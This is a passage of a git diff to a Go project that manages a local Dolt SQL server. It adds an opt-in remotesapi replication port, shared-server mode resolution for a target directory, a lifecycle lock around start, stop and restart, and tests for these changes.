*testing.T) { if err := validateYamlConfigValue("dolt.debug", "true"); err != nil { t.Errorf("expected 'true' to be valid: %v", err) @@ -1626,3 +1639,9 @@ func TestCheckSecretKeyGitSafety_RoutedCheckout(t *testing.T) { } }) } + +func TestDoltRemotesAPIPortIsUserGlobal(t *testing.T) { + if !IsUserGlobalKey("dolt.remotesapi-port") { + t.Fatal("dolt.remotesapi-port must be machine-global; a project config cannot vary one shared server") + } +} diff --git a/internal/doltserver/BUILD.bazel b/internal/doltserver/BUILD.bazel index b53e11917..d823d3c8e 100644 --- a/internal/doltserver/BUILD.bazel +++ b/internal/doltserver/BUILD.bazel @@ -73,6 +73,7 @@ go_test( "sweep_suite_test.go", "sweep_test.go", "testmain_integration_test.go", + "testmain_test.go", ], embed = [":doltserver"], deps = [ diff --git a/internal/doltserver/doltserver.go b/internal/doltserver/doltserver.go index e80378e49..7b53ed2d5 100644 --- a/internal/doltserver/doltserver.go +++ b/internal/doltserver/doltserver.go @@ -121,6 +121,32 @@ func IsSharedServerMode() bool { return config.GetBool("dolt.shared-server") } +// IsSharedServerModeForDir resolves shared-server mode for a diagnostic target. +// A process environment override remains authoritative. Otherwise an explicit +// target config wins over the active workspace's merged config. +func IsSharedServerModeForDir(beadsDir string) bool { + if raw, ok := os.LookupEnv("BEADS_DOLT_SHARED_SERVER"); ok && strings.TrimSpace(raw) != "" { + enabled, err := strconv.ParseBool(strings.TrimSpace(raw)) + return err == nil && enabled + } + if raw := strings.TrimSpace(config.GetStringFromDir(beadsDir, "dolt.shared-server")); raw != "" { + enabled, err := strconv.ParseBool(raw) + return err == nil && enabled + } + return config.GetBool("dolt.shared-server") +} + +// ResolveServerDirForTarget returns the state directory belonging to a +// diagnostic target rather than whichever workspace launched the process. +func ResolveServerDirForTarget(beadsDir string) string { + if IsSharedServerModeForDir(beadsDir) { + if dir, err := SharedServerPath(); err == nil { + return dir + } + } + return beadsDir +} + func IsDebugMode() bool { if v := os.Getenv("BEADS_DOLT_DEBUG"); v == "1" || strings.EqualFold(v, "true") { return true @@ -336,6 +362,15 @@ type Config struct { Port int // MySQL protocol port (0 = allocate ephemeral port on Start) Host string // Bind address (default: 127.0.0.1) Mode ServerMode // Server ownership mode (Owned, External, Embedded) + // RemotesAPIPort is the configured Dolt remotesapi listener. Zero means + // disabled. Unlike the SQL port, bd never assigns this implicitly: opening a + // network replication endpoint must be an explicit operator decision. + // + // CAVEAT: dolt sql-server binds the remotesapi listener on all interfaces + // and serves it unauthenticated, unlike the managed SQL listener on + // cfg.Host (normally 127.0.0.1). Only enable it where a firewall, private + // interface, or tunnel bounds who can reach the port. + RemotesAPIPort int // PortSource records which step of the precedence chain (see // portSources) resolved Port. PortSourceUnset when Port == 0. Callers @@ -360,10 +395,11 @@ type Config struct { // State holds runtime information about a managed server. type State struct { - Running bool `json:"running"` - PID int `json:"pid"` - Port int `json:"port"` - DataDir string `json:"data_dir"` + Running bool `json:"running"` + PID int `json:"pid"` + Port int `json:"port"` + RemotesAPIPort int `json:"remotesapi_port,omitempty"` + DataDir string `json:"data_dir"` } // file paths within .beads/ @@ -699,7 +735,11 @@ func RestorePortFile(beadsDir string, snap PortFileSnapshot) error { } func configYamlPort(beadsDir string) int { - path := filepath.Join(ResolveDoltDir(beadsDir), "config.yaml") + return configYamlPortAtDoltDir(ResolveDoltDir(beadsDir)) +} + +func configYamlPortAtDoltDir(doltDir string) int { + path := filepath.Join(doltDir, "config.yaml") if _, err := os.Stat(path); err != nil { return 0 } @@ -862,6 +902,137 @@ func PortSourceLabels() []string { return labels } +func resolveServerPortForMode(workspaceBeadsDir, serverDir string, sharedMode, skipPortFile bool) (int, PortSource) { + if raw := strings.TrimSpace(os.Getenv("BEADS_DOLT_SERVER_PORT")); raw != "" { + if port, err := strconv.Atoi(raw); err == nil && port > 0 { + return port, PortSourceEnv + } + } + if !skipPortFile { + if port := readPortFile(serverDir); port > 0 { + return port, PortSourcePortFile + } + } + + doltDir := projectDoltDirPath(workspaceBeadsDir) + if sharedMode { + if sharedDoltDir, err := SharedDoltPath(); err == nil { + doltDir = sharedDoltDir + } + } + if port := configYamlPortAtDoltDir(doltDir); port > 0 { + return port, PortSourceDoltConfigYaml + } + + if !sharedMode { + if raw := strings.TrimSpace(config.GetStringFromDir(workspaceBeadsDir, "dolt.port")); raw != "" { + if port, err := strconv.Atoi(raw); err == nil && port > 0 { + return port, PortSourceConfigYaml + } + } + } + if raw := strings.TrimSpace(config.GetUserYamlConfig("dolt.port")); raw != "" { + if port, err := strconv.Atoi(raw); err == nil && port > 0 { + return port, PortSourceConfigYaml + } + } + + metadataDir := workspaceBeadsDir + if sharedMode { + metadataDir = serverDir + } + if cfg, err := configfile.Load(metadataDir); err == nil && cfg != nil && cfg.DoltServerPort > 0 { + return cfg.DoltServerPort, PortSourceMetadataJSON + } + return 0, PortSourceUnset +} + +type serverPortResolver func(workspaceBeadsDir, serverDir string, sharedMode, skipPortFile bool) (int, PortSource) + +func resolveServerPortFromActiveSources(_ string, serverDir string, sharedMode, skipPortFile bool) (int, PortSource) { + for _, src := range portSources { + if skipPortFile && src.source == PortSourcePortFile { + continue + } + if port, ok := src.resolve(serverDir); ok { + return port, src.source + } + } + return 0, PortSourceUnset +} + +const remotesAPIPortConfigKey = "dolt.remotesapi-port" + +// ResolveRemotesAPIPort returns the effective port for a target workspace. +func ResolveRemotesAPIPort(beadsDir string) int { + return ResolveRemotesAPIPortForMode(beadsDir, IsSharedServerModeForDir(beadsDir)) +} + +// ResolveRemotesAPIPortForMode resolves the effective remotesapi port for an +// already-classified target. Environment overrides every mode. A shared server +// then reads its one machine-global value, defaulting to disabled so merely +// enabling shared-server mode never opens a listener. Non-shared external +// federation retains the historical configfile default (8080). +func ResolveRemotesAPIPortForMode(beadsDir string, sharedMode bool) int { + if raw, ok := os.LookupEnv("BEADS_DOLT_REMOTESAPI_PORT"); ok && strings.TrimSpace(raw) != "" { + if port, valid := parseOptionalPort(raw); valid { + return port + } + // A malformed override is not an instruction to disable a valid + // persisted setting; follow the existing configfile getter convention + // and fall through. + } + if sharedMode { + if port, valid := parseOptionalPort(config.GetUserYamlConfig(remotesAPIPortConfigKey)); valid { + return port + } + return 0 + } + if _, err := os.Stat(configfile.ConfigPath(beadsDir)); err == nil { + if cfg, loadErr := configfile.Load(beadsDir); loadErr == nil && cfg != nil { + return cfg.GetDoltRemotesAPIPort() + } + } + return configfile.DefaultDoltRemotesAPIPort +} + +func checkRemotesAPIPortAvailable(port int) error { + if port <= 0 { + return nil + } + listener, err := net.Listen("tcp", net.JoinHostPort("", strconv.Itoa(port))) + if err != nil { + return fmt.Errorf("configured remotesapi port %d is unavailable: %w", port, err) + } + return listener.Close() +} + +// ProbeRemotesAPI reports whether a local remotesapi listener accepts TCP +// connections. Unlike ProbeSQLServer there is no MySQL greeting to drain. +func ProbeRemotesAPI(port int) bool { + if port <= 0 { + return false + } + conn, err := net.DialTimeout("tcp", net.JoinHostPort("127.0.0.1", strconv.Itoa(port)), 500*time.Millisecond) + if err != nil { + return false + } + _ = conn.Close() + return true +} + +func parseOptionalPort(raw string) (int, bool) { + raw = strings.TrimSpace(raw) + if raw == "" { + return 0, false + } + port, err := strconv.Atoi(raw) + if err != nil || port < 0 || port > 65535 { + return 0, false + } + return port, true +} + // DefaultConfig returns config with sensible defaults. Port resolution walks // portSources in priority order (see PortSourceLabels) and returns port 0 // when no source provides one, meaning Start() should allocate an ephemeral @@ -870,34 +1041,40 @@ func PortSourceLabels() []string { // The port file (dolt-server.port) is written by Start() with the actual // listening port, so already-running-server connections use the right port. func DefaultConfig(beadsDir string) *Config { - // In shared mode, use the shared server directory for port resolution - sharedMode := false - if IsSharedServerMode() { + return defaultConfigForMode(beadsDir, IsSharedServerMode(), resolveServerPortFromActiveSources) +} + +// DefaultConfigForMode resolves server configuration for an already-classified +// target. Diagnostics use this when inspecting a workspace other than the +// active one so process-global mode cannot change its data/state/port paths. +func DefaultConfigForMode(beadsDir string, sharedMode bool) *Config { + return defaultConfigForMode(beadsDir, sharedMode, resolveServerPortForMode) +} + +func defaultConfigForMode(beadsDir string, sharedMode bool, resolvePort serverPortResolver) *Config { + workspaceBeadsDir := beadsDir + if sharedMode { if sharedDir, err := SharedServerDir(); err == nil { beadsDir = sharedDir - sharedMode = true } } + mode := ResolveServerModeForMode(workspaceBeadsDir, sharedMode) cfg := &Config{ BeadsDir: beadsDir, Host: "127.0.0.1", - Mode: ResolveServerMode(beadsDir), + Mode: mode, } - - for _, src := range portSources { - if port, ok := src.resolve(beadsDir); ok { - cfg.Port = port - cfg.PortSource = src.source - cfg.PortSharedServer = sharedMode - break - } + if sharedMode { + cfg.RemotesAPIPort = ResolveRemotesAPIPortForMode(workspaceBeadsDir, true) } + cfg.Port, cfg.PortSource = resolvePort(workspaceBeadsDir, beadsDir, sharedMode, false) + cfg.PortSharedServer = sharedMode // Port 0 means "no configured port". In shared mode, use the fixed // shared server port. In per-project mode, Start() will allocate an // ephemeral port from the OS (GH#2098, GH#2372). - if cfg.Port == 0 && IsSharedServerMode() { + if cfg.Port == 0 && sharedMode { cfg.Port = DefaultSharedServerPort // 3308 - avoids orchestrator conflict on 3307 cfg.PortSource = PortSourceSharedServerDefault cfg.PortSharedServer = true @@ -905,10 +1082,10 @@ func DefaultConfig(beadsDir string) *Config { // Host-inferred external config (GH#3545): the server lives on // another machine. - if cfg.Mode == ServerModeExternal { + if cfg.Mode == ServerModeExternal && !sharedMode { fc := &configfile.Config{} - if _, err := os.Stat(configfile.ConfigPath(beadsDir)); err == nil { - if loaded, loadErr := configfile.Load(beadsDir); loadErr == nil && loaded != nil { + if _, err := os.Stat(configfile.ConfigPath(workspaceBeadsDir)); err == nil { + if loaded, loadErr := configfile.Load(workspaceBeadsDir); loadErr == nil && loaded != nil { fc = loaded } } @@ -932,19 +1109,8 @@ func DefaultConfig(beadsDir string) *Config { // lower-priority authoritative sources (listener.port, // dolt.port, metadata dolt_server_port) still apply. if cfg.PortSource == PortSourcePortFile { - cfg.Port = 0 - cfg.PortSource = PortSourceUnset - for _, src := range portSources { - if src.source == PortSourcePortFile { - continue - } - if port, ok := src.resolve(beadsDir); ok { - cfg.Port = port - cfg.PortSource = src.source - cfg.PortSharedServer = sharedMode - break - } - } + cfg.Port, cfg.PortSource = resolvePort(workspaceBeadsDir, beadsDir, false, true) + cfg.PortSharedServer = false } // With no configured port, dial the documented default // 3307, not :0 — there is no local Start() to allocate @@ -1014,11 +1180,13 @@ func IsRunning(beadsDir string) (*State, error) { _ = os.Remove(pidPath(beadsDir)) return &State{Running: false}, nil } + cfg := DefaultConfig(beadsDir) return &State{ - Running: true, - PID: pid, - Port: port, - DataDir: ResolveDoltDir(beadsDir), + Running: true, + PID: pid, + Port: port, + RemotesAPIPort: cfg.RemotesAPIPort, + DataDir: ResolveDoltDir(beadsDir), }, nil } @@ -1048,13 +1216,45 @@ func EnsureRunningDetailed(beadsDir string) (port int, startedByUs bool, err err fmt.Fprintf(os.Stderr, "Info: Orchestrator detected (GT_ROOT set). Shared server uses port %d to avoid conflict.\n", DefaultSharedServerPort) } + // Steady-state fast path, deliberately lock-free. This is every bd + // command's store-open path, and it mutates no lifecycle state. Taking the + // exclusive lifecycle flock here would queue every bd command on the + // machine behind a single wedged holder, with no timeout and nothing + // printed. Racing a concurrent start is safe: the slow path below + // re-checks under the lock and startLocked re-checks again, so the worst + // case for a stale "not running" read is one wasted acquire. state, err := IsRunning(serverDir) if err != nil { return 0, false, err } if state.Running { - _ = EnsurePortFile(serverDir, state.Port) - return state.Port, false, nil + return adoptRunningServer(serverDir, state), false, nil + } + + lockF, lockErr := acquireLifecycleLock(serverDir) + if lockErr != nil { + return 0, false, lockErr + } + locked := true + defer func() { + if locked { + releaseLifecycleLock(lockF) + } + }() + + // Re-check under the lock: another bd process may have started the server + // while we were waiting to acquire. + state, err = IsRunning(serverDir) + if err != nil { + return 0, false, err + } + if state.Running { + // Release before adopting. adoptRunningServer dials the remotesapi + // listener, and a per-waiter 500ms probe inside the exclusive region + // is precisely the serialization the fast path above exists to avoid. + releaseLifecycleLock(lockF) + locked = false + return adoptRunningServer(serverDir, state), false, nil } // If the server mode is External (explicit port in metadata.json, @@ -1100,7 +1300,7 @@ func EnsureRunningDetailed(beadsDir string) (port int, startedByUs bool, err err " To check status: bd dolt status", cfg.Port) } - s, err := Start(serverDir) + s, err := startLocked(serverDir) if err != nil { return 0, false, err } @@ -1148,7 +1348,7 @@ func ServerSpawnEnv() []string { // Debug mode also raises --loglevel from the default warning to debug; // the connection-log spam concern that motivated the warning floor is // the price of opting into debug. -func buildDoltServerArgs(host string, port int, debug bool, profDir string) []string { +func buildDoltServerArgs(host string, port, remotesAPIPort int, debug bool, profDir string) []string { var args []string if debug { args = append(args, "--prof", "cpu", "--prof-path", profDir) @@ -1158,6 +1358,9 @@ func buildDoltServerArgs(host string, port int, debug bool, profDir string) []st "-H", host, "-P", strconv.Itoa(port), ) + if remotesAPIPort > 0 { + args = append(args, "--remotesapi-port", strconv.Itoa(remotesAPIPort)) + } if debug { args = append(args, "--loglevel=debug") } else { @@ -1279,7 +1482,7 @@ func resolveCfgDir(doltDir string) (string, error) { // this field, and Dolt's YAML loader uses yaml.UnmarshalStrict, so an // unrecognized key is a hard parse error at server startup, not a // silently-ignored one. -func buildDoltServerYAMLConfig(host string, port int, debug bool, cfgDir string) ([]byte, error) { +func buildDoltServerYAMLConfig(host string, port, remotesAPIPort int, debug bool, cfgDir string) ([]byte, error) { logLevel := doltServerLogLevel if debug { logLevel = "debug" @@ -1298,6 +1501,9 @@ func buildDoltServerYAMLConfig(host string, port int, debug bool, cfgDir string) }, }, } + if remotesAPIPort > 0 { + yc.RemotesapiConfig.Port_ = &remotesAPIPort + } return yaml.Marshal(yc) } @@ -1317,46 +1523,99 @@ func buildDoltServerArgsWithConfig(configPath string, debug bool, profDir string return args } +// acquireLifecycleLock takes the exclusive lifecycle flock for beadsDir. +// +// The wait is unbounded, so it follows the two-step pattern the pre-unification +// Start used: try once without blocking, and only if another bd process holds +// the lock say so on stderr before blocking. A silent indefinite hang is the +// one failure mode an untimed flock must not have. +func acquireLifecycleLock(beadsDir string) (*os.File, error) { + lockF, err := os.OpenFile(lockPath(beadsDir), os.O_CREATE|os.O_RDWR, 0o600) + if err != nil { + return nil, fmt.Errorf("creating lifecycle lock: %w", err) + } + err = lockfile.FlockExclusiveNonBlocking(lockF) + if err == nil { + return lockF, nil + } + if !lockfile.IsLocked(err) { + _ = lockF.Close() + return nil, fmt.Errorf("acquiring lifecycle lock: %w", err) + } + fmt.Fprintln(os.Stderr, "Info: waiting for dolt lifecycle lock held by another bd process...") + if err := lockfile.FlockExclusiveBlocking(lockF); err != nil { + _ = lockF.Close() + return nil, fmt.Errorf("acquiring lifecycle lock: %w", err) + } + return lockF, nil +} + +// adoptRunningServer does the already-running bookkeeping for +// EnsureRunningDetailed and returns the port to serve on. It is called with no +// lifecycle lock held: verifyRemotesAPIState dials the remotesapi listener, +// which must not happen inside the exclusive region. +func adoptRunningServer(serverDir string, state *State) int { + if verified, verr := verifyRemotesAPIState(DefaultConfig(serverDir), state); verr != nil { + // BEADS_DOLT_REMOTESAPI_PORT predates this listener wiring as a + // federation-check knob, so a running server that has not been + // restarted since the setting appeared is an expected state, not a + // broken install. Keep the auto-start fast path serving SQL and + // surface the gap as a warning; the explicit lifecycle paths + // (Start, adoption) still fail hard with the stop/start remedy. + fmt.Fprintf(os.Stderr, "Warning: %v\n", verr) + } else { + state = verified + } + _ = EnsurePortFile(serverDir, state.Port) + return state.Port +} + +func releaseLifecycleLock(lockF *os.File) { + _ = lockfile.FlockUnlock(lockF) + _ = lockF.Close() +} + +func validateDistinctServerPorts(sqlPort, remotesAPIPort int) error { + if remotesAPIPort > 0 && remotesAPIPort == sqlPort { + return fmt.Errorf("configured remotesapi port %d equals SQL port %d; choose distinct ports", remotesAPIPort, sqlPort) + } + return nil +} + +func verifyRemotesAPIState(cfg *Config, state *State) (*State, error) { + state.RemotesAPIPort = cfg.RemotesAPIPort + if err := validateDistinctServerPorts(state.Port, cfg.RemotesAPIPort); err != nil { + return nil, fmt.Errorf("%w and run 'bd dolt stop && bd dolt start'", err) + } + if cfg.RemotesAPIPort > 0 && !ProbeRemotesAPI(cfg.RemotesAPIPort) { + return nil, fmt.Errorf( + "Dolt server is running on SQL port %d, but configured remotesapi port %d is not reachable; run 'bd dolt stop && bd dolt start' to apply the shared-server setting", + state.Port, + cfg.RemotesAPIPort, + ) + } + return state, nil +} + // Start explicitly starts a dolt sql-server for the project. // Returns the State of the started server, or an error. func Start(beadsDir string) (*State, error) { + lockF, err := acquireLifecycleLock(beadsDir) + if err != nil { + return nil, err + } + defer releaseLifecycleLock(lockF) + return startLocked(beadsDir) +} + +func startLocked(beadsDir string) (*State, error) { cfg := DefaultConfig(beadsDir) doltDir := ResolveDoltDir(beadsDir) - // Acquire exclusive lock to prevent concurrent starts - lockF, err := os.OpenFile(lockPath(beadsDir), os.O_CREATE|os.O_RDWR, 0600) - if err != nil { - return nil, fmt.Errorf("creating lock file: %w", err) - } - defer lockF.Close() - - if err := lockfile.FlockExclusiveNonBlocking(lockF); err != nil { - if lockfile.IsLocked(err) { - // Another bd process is starting the server — wait for it - if err := lockfile.FlockExclusiveBlocking(lockF); err != nil { - return nil, fmt.Errorf("waiting for server start lock: %w", err) - } - defer func() { _ = lockfile.FlockUnlock(lockF) }() - - // Lock acquired — check if server is now running - state, err := IsRunning(beadsDir) - if err != nil { - return nil, err - } - if state.Running { - return state, nil - } - // Still not running — fall through to start it ourselves - } else { - return nil, fmt.Errorf("acquiring start lock: %w", err) - } - } else { - defer func() { _ = lockfile.FlockUnlock(lockF) }() - } - - // Re-check after acquiring lock (double-check pattern) + // Re-check after acquiring the lifecycle lock. A tracked process is only a + // successful start when every configured listener is ready. if state, _ := IsRunning(beadsDir); state != nil && state.Running { - return state, nil + return verifyRemotesAPIState(cfg, state) } // Clean up orphaned dolt sql-server processes INSIDE the lock. @@ -1456,9 +1715,26 @@ func Start(beadsDir string) (*State, error) { } if adoptPID > 0 { _ = logFile.Close() - _ = os.WriteFile(pidPath(beadsDir), []byte(strconv.Itoa(adoptPID)), 0600) + _ = os.WriteFile(pidPath(beadsDir), []byte(strconv.Itoa(adoptPID)), 0o600) _ = writePortFile(beadsDir, actualPort) - return &State{Running: true, PID: adoptPID, Port: actualPort, DataDir: doltDir}, nil + return verifyRemotesAPIState(cfg, &State{ + Running: true, + PID: adoptPID, + Port: actualPort, + RemotesAPIPort: cfg.RemotesAPIPort, + DataDir: doltDir, + }) + } + } + if err := checkRemotesAPIPortAvailable(cfg.RemotesAPIPort); err != nil { + _ = logFile.Close() + return nil, err + } + + if explicitPort { + if err := validateDistinctServerPorts(actualPort, cfg.RemotesAPIPort); err != nil { + _ = logFile.Close() + return nil, err } } @@ -1477,12 +1753,16 @@ func Start(beadsDir string) (*State, error) { lastErr = allocErr continue } + if err := validateDistinctServerPorts(p, cfg.RemotesAPIPort); err != nil { + lastErr = err + continue + } actualPort = p } var cmdArgs []string if useArchiveLevelConfig { - cfgBody, cfgErr := buildDoltServerYAMLConfig(cfg.Host, actualPort, debug, cfgDir) + cfgBody, cfgErr := buildDoltServerYAMLConfig(cfg.Host, actualPort, cfg.RemotesAPIPort, debug, cfgDir) if cfgErr != nil { lastErr = fmt.Errorf("rendering managed sql-server config: %w", cfgErr) if !explicitPort { @@ -1511,7 +1791,7 @@ func Start(beadsDir string) (*State, error) { } cmdArgs = buildDoltServerArgsWithConfig(absConfigPath, debug, profDir) } else { - cmdArgs = buildDoltServerArgs(cfg.Host, actualPort, debug, profDir) + cmdArgs = buildDoltServerArgs(cfg.Host, actualPort, cfg.RemotesAPIPort, debug, profDir) } cmd := exec.Command(doltBin, cmdArgs...) //nolint:gosec // doltBin is resolved from PATH, not user input @@ -1600,12 +1880,22 @@ func Start(beadsDir string) (*State, error) { return nil, fmt.Errorf("server started (PID %d) but not accepting connections on port %d: %w\nCheck logs: %s", pid, actualPort, err, logPath(beadsDir)) } + if err := waitForRemotesAPI(cfg.RemotesAPIPort, readyTimeout()); err != nil { + if proc, findErr := os.FindProcess(pid); findErr == nil { + _ = proc.Kill() + } + _ = os.Remove(pidPath(beadsDir)) + _ = os.Remove(portPath(beadsDir)) + return nil, fmt.Errorf("server started (PID %d) but remotesapi is not accepting connections on port %d: %w\nCheck logs: %s", + pid, cfg.RemotesAPIPort, err, logPath(beadsDir)) + } return &State{ - Running: true, - PID: pid, - Port: actualPort, - DataDir: doltDir, + Running: true, + PID: pid, + Port: actualPort, + RemotesAPIPort: cfg.RemotesAPIPort, + DataDir: doltDir, }, nil } @@ -1744,8 +2034,61 @@ func Stop(beadsDir string) error { return StopWithForce(beadsDir, false) } +// Restart gracefully replaces a managed server while holding the lifecycle +// lock for the entire stop/start transition. The live SQL port is restored as +// desired state so a per-project ephemeral server does not move merely because +// it was restarted. +func Restart(beadsDir string) (*State, error) { + lockF, err := acquireLifecycleLock(beadsDir) + if err != nil { + return nil, err + } + defer releaseLifecycleLock(lockF) + + previousPort := 0 + if state, stateErr := IsRunning(beadsDir); stateErr == nil && state != nil { + previousPort = state.Port + } + if err := IgnoreNotRunning(stopLocked(beadsDir)); err != nil { + return nil, fmt.Errorf("stopping Dolt server for restart: %w", err) + } + if previousPort > 0 { + if err := EnsurePortFile(beadsDir, previousPort); err != nil { + return nil, fmt.Errorf("restoring SQL port %d for restart: %w", previousPort, err) + } + } + state, err := startLocked(beadsDir) + if err != nil { + var restoreErr error + if previousPort > 0 { + restoreErr = EnsurePortFile(beadsDir, previousPort) + } + restartErr := fmt.Errorf("restarting Dolt server (server remains stopped; check %s): %w", logPath(beadsDir), err) + if restoreErr != nil { + return nil, errors.Join(restartErr, fmt.Errorf("restoring SQL port %d after failed restart: %w", previousPort, restoreErr)) + } + return nil, restartErr + } + return state, nil +} + // StopWithForce is like Stop but with an optional force flag. func StopWithForce(beadsDir string, force bool) error { + lockF, err := acquireLifecycleLock(beadsDir) + if err != nil { + // Preserve the established idempotent stopped contract when the state + // directory itself is unwritable. A live server is never stopped + // outside the lock. + if state, stateErr := IsRunning(beadsDir); stateErr == nil && (state == nil || !state.Running) { + return stopLocked(beadsDir) + } + return err + } + defer releaseLifecycleLock(lockF) + return stopLocked(beadsDir) +} + +func stopLocked(beadsDir string) error { state, err := IsRunning(beadsDir) if err != nil { return err @@ -1961,6 +2304,20 @@ func waitForReady(host string, port int, timeout time.Duration) error { return fmt.Errorf("timeout after %s waiting for server at %s", timeout, addr) } +func waitForRemotesAPI(port int, timeout time.Duration) error { + if port <= 0 { + return nil + } + deadline := time.Now().Add(timeout) + for time.Now().Before(deadline) { + if ProbeRemotesAPI(port) { + return nil + } + time.Sleep(250 * time.Millisecond) + } + return fmt.Errorf("timeout after %s waiting for remotesapi at 127.0.0.1:%d", timeout, port) +} + // ensureDoltIdentity sets dolt global user identity from git config if not already set. func ensureDoltIdentity() error { // Check if dolt identity is already configured diff --git a/internal/doltserver/doltserver_test.go b/internal/doltserver/doltserver_test.go index 79cd30c44..45f76afd8 100644 --- a/internal/doltserver/doltserver_test.go +++ b/internal/doltserver/doltserver_test.go @@ -758,6 +758,76 @@ func TestStopNoStateFiles(t *testing.T) { } } +func TestStopWaitsForLifecycleLockWhenStopped(t *testing.T) { + dir := t.TempDir() + lockF, err := acquireLifecycleLock(dir) + if err != nil { + t.Fatal(err) + } + + done := make(chan error, 1) + go func() { done <- Stop(dir) }() + select { + case err := <-done: + releaseLifecycleLock(lockF) + t.Fatalf("Stop returned while lifecycle lock was held: %v", err) + case <-time.After(100 * time.Millisecond): + } + releaseLifecycleLock(lockF) + + select { + case err := <-done: + if !errors.Is(err, ErrServerNotRunning) { + t.Fatalf("Stop after lock release = %v, want ErrServerNotRunning", err) + } + case <-time.After(2 * time.Second): + t.Fatal("Stop did not resume after lifecycle lock release") + } +} + +func TestEnsureRunningDetailedWaitsForLifecycleLock(t *testing.T) { + home := t.TempDir() + t.Setenv("HOME", home) + t.Setenv("USERPROFILE", home) + t.Setenv("BEADS_DOLT_SHARED_SERVER", "") + t.Setenv("BEADS_DOLT_AUTO_START", "0") + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + + dir := t.TempDir() + cfg := configfile.DefaultConfig() + cfg.Backend = configfile.BackendDolt + cfg.DoltMode = configfile.DoltModeServer + cfg.DoltServerPort = 1 + if err := cfg.Save(dir); err != nil { + t.Fatal(err) + } + lockF, err := acquireLifecycleLock(dir) + if err != nil { + t.Fatal(err) + } + done := make(chan error, 1) + go func() { + _, _, err := EnsureRunningDetailed(dir) + done <- err + }() + select { + case err := <-done: + releaseLifecycleLock(lockF) + t.Fatalf("EnsureRunningDetailed returned while lifecycle lock was held: %v", err) + case <-time.After(100 * time.Millisecond): + } + releaseLifecycleLock(lockF) + select { + case err := <-done: + if err == nil { + t.Fatal("EnsureRunningDetailed unexpectedly succeeded against disabled external server") + } + case <-time.After(2 * time.Second): + t.Fatal("EnsureRunningDetailed did not resume after lifecycle lock release") + } +} + // TestStopNotRunningWithCleanupError verifies that Stop returns both the // sentinel and cleanup errors when the server is not running but state // files can't be removed. @@ -787,6 +857,31 @@ func TestStopNotRunningWithCleanupError(t *testing.T) { } } +func TestRestartPreservesStoppedCleanupError(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("chmod not effective on Windows") + } + dir := t.TempDir() + if err := os.WriteFile(lockPath(dir), nil, 0o600); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(pidPath(dir), []byte("999999999"), 0o600); err != nil { + t.Fatal(err) + } + if err := os.Chmod(dir, 0o555); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.Chmod(dir, 0o755) }) + + _, err := Restart(dir) + if err == nil { + t.Fatal("Restart succeeded despite stale-state cleanup failure") + } + if !strings.Contains(err.Error(), "stopping Dolt server for restart") { + t.Fatalf("Restart error = %v, want preserved stop cleanup failure", err) + } +} + func TestKillStaleServersPreservesOtherRepoServers(t *testing.T) { t.Setenv("BEADS_DOLT_AUTO_START", "") // ensure auto-start guard doesn't short-circuit dir := t.TempDir() @@ -1365,7 +1460,9 @@ func TestRecoverPreV56DoltDir(t *testing.T) { if _, statErr := os.Stat(sentinel); !os.IsNotExist(statErr) { t.Error("expected old .dolt/ contents to be removed during recovery") } - t.Skipf("recovery partially completed (dolt init may have failed): %v", err) + // Same two causes as TestEnsureDoltInit_WritesMarker's skip: dolt + // absent, or no dolt identity under the redirected HOME. + t.Skipf("recovery partially completed (dolt not installed, or no dolt identity in HOME=%q): %v", os.Getenv("HOME"), err) } if !recovered { t.Error("expected recovery to be performed") @@ -1416,8 +1513,10 @@ func TestEnsureDoltInit_WritesMarker(t *testing.T) { // ensureDoltInit should create .dolt/ and write the marker err := ensureDoltInit(doltDir) if err != nil { - // dolt might not be installed in test env; skip marker check - t.Skipf("dolt init failed (dolt may not be installed): %v", err) + // dolt is absent, or the environment has no dolt identity for it to + // author the init commit with. TestMain configures one inside the + // isolated HOME; see configureDoltIdentity in testmain_test.go. + t.Skipf("dolt init failed (dolt not installed, or no dolt identity in HOME=%q): %v", os.Getenv("HOME"), err) } markerPath := filepath.Join(doltDir, bdDoltMarker) @@ -1566,6 +1665,145 @@ func TestDefaultConfig_SharedModeFixedPort(t *testing.T) { t.Errorf("shared mode: expected port %d (DefaultSharedServerPort), got %d", DefaultSharedServerPort, cfg.Port) } } +func TestIsSharedServerModeForDirPrecedence(t *testing.T) { + writeMode := func(t *testing.T, value string) string { + t.Helper() + beadsDir := filepath.Join(t.TempDir(), ".beads") + if err := os.MkdirAll(beadsDir, 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(beadsDir, "config.yaml"), + []byte("dolt:\n shared-server: "+value+"\n"), 0o600); err != nil { + t.Fatal(err) + } + return beadsDir + } + + t.Run("environment overrides target", func(t *testing.T) { + t.Setenv("BEADS_DOLT_SHARED_SERVER", "1") + if !IsSharedServerModeForDir(writeMode(t, "false")) { + t.Fatal("BEADS_DOLT_SHARED_SERVER=1 must override target shared-server=false") + } + }) + + t.Run("target overrides active workspace", func(t *testing.T) { + t.Setenv("BEADS_DOLT_SHARED_SERVER", "") + // An inherited port env var makes any target external via check 2c, + // independent of its shared-server classification. + t.Setenv("BEADS_DOLT_SERVER_PORT", "") + t.Setenv("BEADS_DOLT_PORT", "") + activeDir := writeMode(t, "true") + targetDir := writeMode(t, "false") + t.Setenv("BEADS_DIR", activeDir) + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + if err := config.Initialize(); err != nil { + t.Fatal(err) + } + if IsSharedServerModeForDir(targetDir) { + t.Fatal("explicit target shared-server=false must override active workspace true") + } + if got := DefaultConfigForMode(targetDir, false).Mode; got != ServerModeOwned { + t.Fatalf("explicit non-shared target mode = %s, want owned despite active shared workspace", got) + } + }) + + t.Run("target true overrides active workspace", func(t *testing.T) { + t.Setenv("BEADS_DOLT_SHARED_SERVER", "") + activeDir := writeMode(t, "false") + targetDir := writeMode(t, "true") + t.Setenv("BEADS_DIR", activeDir) + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + if err := config.Initialize(); err != nil { + t.Fatal(err) + } + if !IsSharedServerModeForDir(targetDir) { + t.Fatal("explicit target shared-server=true must override active workspace false") + } + if got := DefaultConfigForMode(targetDir, true).Mode; got != ServerModeExternal { + t.Fatalf("explicit shared target mode = %s, want external despite active non-shared workspace", got) + } + }) +} + +func TestDefaultConfig_SharedRemotesAPIPortIsMachineGlobal(t *testing.T) { + home := t.TempDir() + t.Setenv("HOME", home) + t.Setenv("USERPROFILE", home) + 